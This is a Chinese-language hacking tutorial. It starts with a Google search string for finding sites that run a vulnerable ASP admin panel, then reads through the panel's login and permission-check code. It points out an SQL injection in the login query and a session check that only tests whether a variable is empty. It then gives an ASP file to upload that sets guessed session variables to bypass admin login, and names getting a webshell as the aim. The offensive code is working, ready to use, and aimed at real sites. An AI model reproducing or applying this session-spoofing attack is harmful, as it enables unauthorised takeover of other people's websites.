谷歌 inurl:admin/Session.asp  
    直接进入后台  
拿webshell  
  
引用  
  
先看看管理员登录过程，登录文件是login.asp，关键代码如下：  
code=replace(trim(Request("code")),"’","")  
If code<>CStr(Session("CheckCode")) Then  
Response.Write("<script language=javascript>alert(’请输入正确的验证码！’);top.location.href=’login.asp’</script>")  
Response.End  
end if  
’上面代码是对验证码进行检测  
name=htmlencode2(request.form("name"))  
pwd=htmlencode2(md5(request.form("pwd")))  
loginip=Request.ServerVariables("HTTP\_X\_FORWARDED\_FOR")  
if loginip= "" then loginip=Request.ServerVariables("REMOTE\_ADDR")  
sql="select \* from manage\_user where UserName=’"&name&"’ And PassWord=’"&pwd&"’"  
rs.open sql,conn,1,3  
If not rs.eof = True Then  
rs("logintime")=Now()  
rs("loginip")=loginip  
rs.update  
Session("name") = rs("username")  
Session("pwd") = rs("password")   
Session("time") = now()  
Response.Redirect("default.asp")  
’如果接受到的用户名和密码正确，更新最后登录时间和IP地址，并且赋值给3个Session变量，然后转到管理页面default.asp，不知道大家有没有注意到那个SQL语句也有问题啊！  
else  
set rs2=server.createobject("adodb.recordset")  
sql2="select \* from log"  
rs2.open sql2,conn,1,3  
rs2.AddNew  
rs2("type")="非法登录"  
rs2("username")=name  
rs2("password")=request.form("pwd")  
rs2("loginip")=loginip  
rs2("time")=now()  
rs2.update  
rs2.Close  
set rs2=nothing  
Response.write"<script>alert(’对不起，管理员帐号或密码错误！’);location.href=’login.asp’</script>"  
end if  
’如果登录失败的话，填写错误登录日志  
管理页面default.asp的第一行包含了一个文件，<!--#include file="admin.asp"-->，而这个admin.asp就是用户权限审核页面了，我们看看：  
<%  
if Session("name")="" then   
Response.write"<script>alert(’对不起，您还没有登录，或登录超时，请重新登录！’);top.location.href=’login.asp’</script>"  
response.End  
end if  
%>  
只要Session("name")不为空就认为登录成功啊，好办了！我们申请一个用户iceworld，上传一个文件index.asp到自己的目录中去，内容如下：  
<%  
Session("name")="yes"  
response.Redirect("../manage/default.asp")  
%>  
访问看看，是不是直接进入了管理页面。  
  
  
要进行这种Session欺骗，必须有三个前提:  
1．进行欺骗的网页和被欺骗的网页必须位于同一个网站内，上期黑防上LM团伙和koshan已经说得很清楚了。  
2．必须知道管理页面。  
3．必须知道Session变量以及它的限制条件。  
至于解决方法，第一个问题就不用说了吧，这篇文章就是在这个前提下进行的。第二个问题，相信大家以前SQL注入的时候早就遇到过，各显神通吧！对于第三个问题，首先看看主站是不是使用了别人写的程序，如果是的话，下载一个源程序进行查看，应该不会有很多人喜欢改源代码吧！如果是站长自己写的程序的话，我们就猜，跟猜后台一样：  
Session("name")="admin"  
Session("login")="admin"  
Session("AdminName")="admin"  
......  
当然不要手工进行了，我们在admin.asp中写上：  
<%  
Session("name")="admin"  
Session("login")="admin"  
Session("AdminName")="admin"  
’加上其它你所知道的  
%>